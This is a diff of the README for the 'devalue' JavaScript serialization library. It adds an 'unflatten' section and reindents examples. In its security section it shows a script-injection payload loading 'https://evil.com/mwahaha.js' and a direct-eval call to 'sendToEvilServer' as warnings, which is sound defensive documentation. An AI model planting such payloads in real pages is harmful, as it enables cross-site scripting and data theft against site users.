@@ -63,22 +63,37 @@ devalue.parse(stringified); // { message: 'hello', self: [Circular] }
63
63
64
64
Use ` stringify ` and ` parse ` when evaluating JavaScript isn't an option.
65
65
66
+ ### ` unflatten `
67
+
68
+ In the case where devalued data is one part of a larger JSON string, ` unflatten ` allows you to revive just the bit you need:
69
+
70
+ ``` js
71
+ import * as devalue from ' devalue' ;
72
+
73
+ const json = ` {
74
+ "type": "data",
75
+ "data": ${ devalue .stringify (data)}
76
+ }` ;
77
+
78
+ const data = devalue .unflatten (JSON .parse (json).data );
79
+ ```
80
+
66
81
## Error handling
67
82
68
83
If ` uneval ` or ` stringify ` encounters a function or a non-POJO, it will throw an error. You can find where in the input data the offending value lives by inspecting ` error.path ` :
69
84
70
85
``` js
71
86
try {
72
- const map = new Map ();
73
- map .set (' key' , function invalid () {});
74
-
75
- uneval ({
76
- object: {
77
- array: [map]
78
- }
79
- });
87
+ const map = new Map ();
88
+ map .set (' key' , function invalid () {});
89
+
90
+ uneval ({
91
+ object: {
92
+ array: [map]
93
+ }
94
+ });
80
95
} catch (e) {
81
- console .log (e .path ); // '.object.array[0].get("key")'
96
+ console .log (e .path ); // '.object.array[0].get("key")'
82
97
}
83
98
```
84
99
@@ -88,7 +103,7 @@ Say you're server-rendering a page and want to serialize some state, which could
88
103
89
104
``` js
90
105
const state = {
91
- userinput: ` </script><script src='https://evil.com/mwahaha.js'>`
106
+ userinput: ` </script><script src='https://evil.com/mwahaha.js'>`
92
107
};
93
108
94
109
const template = `
@@ -102,11 +117,11 @@ Which would result in this:
102
117
103
118
``` html
104
119
<script >
105
- // NEVER DO THIS
106
- var preloaded = {" userinput" : "
120
+ // NEVER DO THIS
121
+ var preloaded = {" userinput" : "
107
122
</script>
108
123
<script src=" https: // evil.com/mwahaha.js">
109
- " };
124
+ " };
110
125
</script>
111
126
```
112
127
@@ -121,10 +136,10 @@ const template = `
121
136
122
137
```html
123
138
<script>
124
- var preloaded = {
125
- userinput:
126
- " \\u003C\\u002Fscript\\u003E\\u003Cscript src= ' https:\\ u002F\\ u002Fevil.com\\ u002Fmwahaha.js' \\u003E"
127
- };
139
+ var preloaded = {
140
+ userinput:
141
+ " \\u003C\\u002Fscript\\u003E\\u003Cscript src= ' https:\\ u002F\\ u002Fevil.com\\ u002Fmwahaha.js' \\u003E"
142
+ };
128
143
</script>
129
144
```
130
145
@@ -142,9 +157,9 @@ When using `eval`, ensure that you call it _indirectly_ so that the evaluated co
142
157
143
158
```js
144
159
{
145
- const sensitiveData = 'Setec Astronomy';
146
- eval('sendToEvilServer(sensitiveData)'); // pwned :(
147
- (0, eval)('sendToEvilServer(sensitiveData)'); // nice try, evildoer!
160
+ const sensitiveData = 'Setec Astronomy';
161
+ eval('sendToEvilServer(sensitiveData)'); // pwned :(
162
+ (0, eval)('sendToEvilServer(sensitiveData)'); // nice try, evildoer!
148
163
}
149
164
```
150
165
0 commit comments